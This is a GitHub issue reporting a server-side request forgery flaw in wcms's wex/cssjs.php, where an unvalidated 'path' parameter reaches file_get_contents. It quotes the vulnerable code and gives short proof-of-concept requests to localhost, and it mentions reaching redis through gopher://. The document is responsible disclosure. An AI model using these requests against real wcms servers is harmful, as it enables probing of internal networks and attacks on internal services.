Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SSRF Vulnerability in wcms/wcms/wex/cssjs.php #8

Open
nenf opened this issue Jul 20, 2020 · 1 comment
Open

SSRF Vulnerability in wcms/wcms/wex/cssjs.php #8

nenf opened this issue Jul 20, 2020 · 1 comment

Comments

@nenf
Copy link

@nenf nenf commented Jul 20, 2020

Hi, dev team!

There is SSRF Vulnerability in wcms/wcms/wex/cssjs.php file.

The vulnerable code is:

31: $path = $_GET['path'];
32: $html_from_template = htmlspecialchars(file_get_contents($path));
61: :code='<?php echo htmlentities(json_encode($html_from_template, JSON_HEX_QUOT), ENT_QUOTES);?>'

Example POC:

<?php

$path = "ftp://127.0.0.1:8000";
$html_from_template = htmlspecialchars(file_get_contents($path));
echo htmlentities(json_encode($html_from_template, JSON_HEX_QUOT), ENT_QUOTES);

?>

Server Side Request Forgery (SSRF) vulnerabilities let an attacker send crafted requests from the back-end server of a vulnerable web application. It can help identify open ports, local network hosts and execute command on services (for example redis, by using gopher:// scheme)

To prevent vulnerability use next manual: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

Please let me know about any fixes, I would like to register CVE number.

@nenf nenf changed the title SSRF Vulnerability SSRF Vulnerability in wcms/wcms/wex/cssjs.php Jul 20, 2020
@nenf
Copy link
Author

@nenf nenf commented Jul 21, 2020

Here is a POC:

http://127.0.0.1:8100/wex/cssjs.php?path=http://127.0.0.1:60001

I was listening 60001 local port and got a request from backend.

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
1 participant